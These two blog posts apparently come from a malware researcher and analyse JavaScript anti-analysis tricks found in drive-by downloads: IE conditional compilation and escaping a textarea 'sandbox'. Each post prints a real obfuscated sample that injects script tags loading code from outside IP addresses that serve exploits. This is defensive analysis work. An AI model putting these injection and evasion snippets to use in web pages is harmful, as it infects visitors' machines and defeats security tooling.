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JavaScript anti-analysis tricks: IE conditional compilation
May 6, 2009
An anti-analysis/fingerprinting trick I've noticed more and more frequently in drive-by downloads is the use of IE conditional compilation.
Conditional compilation is a feature of Internet Explorer that enables the browser to control the compilation of a script (that is, to include or exclude code to be interpreted) depending on the values of a number of conditional compilation variables. Predefined variables provide information about the client environment, such as its processor, OS, and JavaScript version. Conditional compilation statements are typically contained in regular JavaScript comments to prevent problems with browsers that do not support this feature.
Here is an example of how conditional compilation is used in drive-by downloads:
/*@cc_on @*/
/*@if (@_win32)
var source ="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:6" +
"/23:/255/33:0tubut0tubut/kt#?=0tdsjqu?";
var result = "";
for(var i=0;i<source.length;i++)
result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result);
/*@end @*/
The cc_on statement enables conditional compilation. The @if
statement checks that the browser is running on a Win32 system. If this
is the case, then the following JavaScript block is interpreted,
otherwise it is simply ignored. The code block is a
classic deobfuscation routine that produces the following text:
<script type="text/javascript"
src="http://95.129.144.229/stats/stats.js"></script>
This script tag fetches a script that redirects to a number of pages serving
exploits.
What happens if the user's browser does not support conditional compilation, for example, it is an analysis tool based on the stock SpiderMonkey or Rhino engines? Then, it will simply consider the entire conditional compilation section a comment and it will skip it. As a consequence, the malicious script tag will not be added to the page, and, therefore, the subsequent exploits will not be launched and will not be detected by the analysis tool.
The full report for the example is available on Wepawet.
JavaScript anti-analysis tricks: /textarea
May 1, 2009
Malicious JavaScript code often relies on defensive mechanisms to evade detection or to make its deobfuscation more difficult. Some of these methods have been well discussed (see, for example, the very nice presentations Reverse Engineering Malicious Javascript by J. Nazario and Circumventing Automated JavaScript Analysis by B. Hoffman), but it's interesting to see how they are used.
Some of the earliest defensive techniques are directed against the
manual analysis of malicious code. For example, a quick analysis
technique consists of wrapping the script's code into textarea tags so
that deobfuscated code is written into the textarea and can be
quickly inspected and copy-and-pasted for further analysis. In this
case, the textarea is essentially used as a poor-man sandbox. Something
the bad guys figured out quickly was that all they needed to do to
defeat this technique was to close the textarea tag before performing
any other action.
Somewhat surprisingly, this trick is still used from time to time. A few months ago, a malicious script on ixfree.net contained the following code:
document.write("</textarea>");
var i, _, a = ["78.110.175.21", "195.24.76.251"];
_ = 1;
if (document.cookie.match(/\bhgft=1/) == null)
for (i = 0; i < 2; i++)
document.write("<script>if(_)" +
"document.write(\"<script id=_" + i + "_ src=//" + a[i]" +
"/cp/?" + navigator .appName.charAt(0) +
"><\\/script>\")<\/script>");
(see full report on Wepawet)
The code closes the textarea to escape its "sandbox", checks that a cookie is not set, and then generates two script tags that redirect to exploits. If you were to wrap this code into a textarea, you would end up with an empty textarea and a wrong detection.
